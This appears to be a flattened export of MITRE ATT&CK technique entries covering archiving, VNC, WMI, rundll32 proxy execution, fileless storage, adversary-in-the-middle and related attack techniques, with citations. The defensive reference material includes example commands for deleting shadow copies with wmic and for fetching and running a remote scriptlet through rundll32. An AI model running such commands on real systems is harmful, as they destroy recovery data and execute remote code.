source_name: mitre-attack url: https://attack.mitre.org/techniques/T1205/002 external_id: T1205.002 source_name: exatrack bpf filters passive backdoors description: ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022. url: https://exatrack.com/public/Tricephalic_Hellkeeper.pdf source_name: crowdstrike bpf socket filters description: Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022. url: https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/ source_name: Leonardo Turla Penquin May 2020 description: Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021. url: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf source_name: haking9 libpcap network sniffing description: Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022. url: http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf

kill_chain_name: mitre-attack phase_name: command-and-control

Linux

Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport. Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems. On Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)

enterprise-attack

Archive via Utility

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1560/001 external_id: T1560.001 source_name: WinRAR Homepage description: A. Roshal. (2020). RARLAB. Retrieved February 20, 2020. url: https://www.rarlab.com/ source_name: WinZip Homepage description: Corel Corporation. (2020). WinZip. Retrieved February 20, 2020. url: https://www.winzip.com/win/en/ source_name: 7zip Homepage description: I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020. url: https://www.7-zip.org/ source_name: diantz.exe_lolbas description: Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021. url: https://lolbas-project.github.io/lolbas/Binaries/Diantz/ source_name: Wikipedia File Header Signatures description: Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016. url: https://en.wikipedia.org/wiki/List_of_file_signatures

kill_chain_name: mitre-attack phase_name: collection

Linux

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol) VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication) Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)

enterprise-attack

VNC

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1021/005 external_id: T1021.005 source_name: The Remote Framebuffer Protocol description: T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021. url: https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2 source_name: MacOS VNC software for Remote Desktop description: Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021. url: https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac source_name: VNC Authentication description: Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021. url: https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication source_name: Hijacking VNC description: Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021. url: https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc source_name: macOS root VNC login without authentication description: Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021. url: https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication source_name: VNC Vulnerabilities description: Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021. url: https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/ source_name: Offensive Security VNC Authentication Check description: Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021. url: https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/ source_name: Attacking VNC Servers PentestLab description: Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021. url: https://pentestlab.blog/2012/10/30/attacking-vnc-servers/ source_name: Havana authentication bug description: Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021. url: http://lists.openstack.org/pipermail/openstack/2013-December/004138.html source_name: Apple Unified Log Analysis Remote Login and Screen Sharing description: Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021. url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins source_name: Gnome Remote Desktop grd-settings description: Pascal Nowack. (n.d.). Retrieved September 21, 2021. url: https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207 source_name: Gnome Remote Desktop gschema description: Pascal Nowack. (n.d.). Retrieved September 21, 2021. url: https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in

kill_chain_name: mitre-attack phase_name: lateral-movement

Linux

Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI) An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6) **Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)

enterprise-attack

Windows Management Instrumentation

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1047 external_id: T1047 source_name: FireEye WMI 2015 description: Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf source_name: Mandiant WMI description: Mandiant. (n.d.). Retrieved February 13, 2024. url: https://www.mandiant.com/resources/reports source_name: WMI 6 description: Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024. url: https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/ source_name: WMI 1-3 description: Microsoft. (2023, March 7). Retrieved February 13, 2024. url: https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN source_name: WMI 7,8 description: Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024. url: https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242

kill_chain_name: mitre-attack phase_name: execution

Windows

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)

enterprise-attack

Screen Capture

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1113 external_id: T1113 source_name: CopyFromScreen .NET description: Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020. url: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8 source_name: Antiquated Mac Malware description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/

kill_chain_name: mitre-attack phase_name: collection

Linux

Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless)

enterprise-attack

Fileless Storage

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/011 external_id: T1027.011 source_name: SecureList Fileless description: Legezo, D. (2022, May 4). A new secret stash for “fileless” malware. Retrieved March 23, 2023. url: https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/ source_name: Microsoft Fileless description: Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023. url: https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.

enterprise-attack

Boot or Logon Initialization Scripts

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1037 external_id: T1037 source_name: Anomali Rocke March 2019 description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019. url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang source_name: Mandiant APT29 Eye Spy Email Nov 22 description: Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023. url: https://www.mandiant.com/resources/blog/unc3524-eye-spy-email

kill_chain_name: mitre-attack phase_name: privilege-escalation

macOS

Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att) Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

enterprise-attack

Adversary-in-the-Middle

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1557 external_id: T1557 source_name: dns_changer_trojans description: Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021. url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats source_name: volexity_0day_sophos_FW description: Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022. url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ source_name: taxonomy_downgrade_att_tls description: Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021. url: https://arxiv.org/abs/1809.05681 source_name: ad_blocker_with_miner description: Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021. url: https://securelist.com/ad-blocker-with-miner-included/101105/ source_name: Token tactics description: Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023. url: https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/ source_name: mitm_tls_downgrade_att description: praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021. url: https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/ source_name: Rapid7 MiTM Basics description: Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020. url: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/ source_name: tlseminar_downgrade_att description: Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021. url: https://tlseminar.github.io/downgrade-attacks/ source_name: ttint_rat description: Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021. url: https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/

kill_chain_name: mitre-attack phase_name: collection

Windows

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information. On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)

enterprise-attack

System Owner/User Discovery

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1033 external_id: T1033 source_name: show_ssh_users_cmd_cisco description: Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html source_name: US-CERT TA18-106A Network Infrastructure Devices 2018 description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A

kill_chain_name: mitre-attack phase_name: discovery

Linux

Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.

enterprise-attack

Acquire Infrastructure

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1583 external_id: T1583 source_name: amnesty_nso_pegasus description: Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group’s Pegasus. Retrieved February 22, 2022. url: https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/ source_name: Mandiant APT29 Microsoft 365 2022 description: Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023. url: https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft source_name: FBI Proxies Credential Stuffing description: FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023. url: https://www.ic3.gov/Media/News/2022/220818.pdf source_name: Free Trial PurpleUrchin description: Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024. url: https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/ source_name: Koczwara Beacon Hunting Sep 2021 description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 source_name: TrendmicroHideoutsLease description: Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017. url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf source_name: Mandiant SCANdalous Jul 2020 description: Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021. url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation source_name: ThreatConnect Infrastructure Dec 2020 description: ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021. url: https://threatconnect.com/blog/infrastructure-research-hunting/

kill_chain_name: mitre-attack phase_name: resource-development

PRE

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>). Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

enterprise-attack

Rundll32

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1218/011 external_id: T1218.011 source_name: rundll32.exe defense evasion description: Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022. url: https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/ source_name: Attackify Rundll32.exe Obscurity description: Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021. url: https://www.attackify.com/blog/rundll32_execution_order/ source_name: This is Security Command Line Confusion description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018. url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ source_name: Github NoRunDll description: gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021. url: https://github.com/gtworek/PSBits/tree/master/NoRunDll source_name: Trend Micro CPL description: Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017. url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster. These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.

enterprise-attack

Container and Resource Discovery

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1613 external_id: T1613 source_name: Docker API description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021. url: https://docs.docker.com/engine/api/v1.41/ source_name: Kubernetes API description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021. url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/

kill_chain_name: mitre-attack phase_name: discovery

Containers

Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)

enterprise-attack

Serverless

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1583/007 external_id: T1583.007 source_name: AWS Lambda Redirector description: Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022. url: https://blog.xpnsec.com/aws-lambda-redirector/ source_name: Detecting Command & Control in the Cloud description: Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022. url: https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/ source_name: BlackWater Malware Cloudflare Workers description: Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022. url: https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/

kill_chain_name: mitre-attack phase_name: resource-development

PRE

Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

enterprise-attack

Standard Encoding

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1132/001 external_id: T1132.001 source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf source_name: Wikipedia Binary-to-text Encoding description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017. url: https://en.wikipedia.org/wiki/Binary-to-text_encoding source_name: Wikipedia Character Encoding description: Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017. url: https://en.wikipedia.org/wiki/Character_encoding

kill_chain_name: mitre-attack phase_name: command-and-control

Linux

Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) Embedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)

enterprise-attack

Embedded Payloads

